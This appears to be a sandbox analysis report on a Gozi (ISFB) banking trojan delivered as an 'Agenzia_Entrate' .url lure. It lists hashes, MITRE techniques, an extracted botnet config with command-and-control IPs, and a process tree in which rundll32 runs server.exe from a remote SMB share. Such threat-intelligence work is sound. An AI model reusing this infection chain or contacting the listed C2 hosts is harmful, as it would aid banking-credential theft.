gozi | 1f233fdb94239fa884321a91d14342c1a66e64ce02dc64378cb7c53669d5ea28

Analysis

max time kernel
143s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
09-03-2023 08:42

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General

Target

Agenzia_Entrate/Agenzia_Entrate.url
Size

191B
MD5

c57ce09111a84d1110b24a8505ff5804
SHA1

9fd1e2577f10a24c2678803e073d35e41b551eb2
SHA256

257413c17f63500a76f9d0216a8dee283021299a61dc0539e6e870fd5d78177b
SHA512

71cf1e5d069a75be84cfcaf82479fb037e75055c05e94ad212453769288b1e3b194156fad802619b0850c9e9abb3c045600779de234b8b51505b1a54f46b7c84

Score

10^/10

gozi 7712 banker isfb trojan

Malware Config

Extracted

Family

gozi

Botnet

7712

checklist.skype.com

62.173.141.36

31.41.44.85

193.233.175.98

46.8.210.110

89.116.227.49

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 4892 wrote to memory of 4508	4892	rundll32.exe	server.exe
PID 4892 wrote to memory of 4508	4892	rundll32.exe	server.exe
PID 4892 wrote to memory of 4508	4892	rundll32.exe	server.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Agenzia_Entrate\Agenzia_Entrate.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892
- \??\UNC\46.8.210.57\Agenzia\server.exe
  "\\46.8.210.57\Agenzia\server.exe"
  2⤵
  PID:4508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4508-134-0x0000000000650000-0x000000000065B000-memory.dmp

Filesize
44KB

Download
memory/4508-135-0x00000000007C0000-0x00000000007CD000-memory.dmp

Filesize
52KB

Download
memory/4508-138-0x0000000000400000-0x00000000004C9000-memory.dmp

Filesize
804KB

Download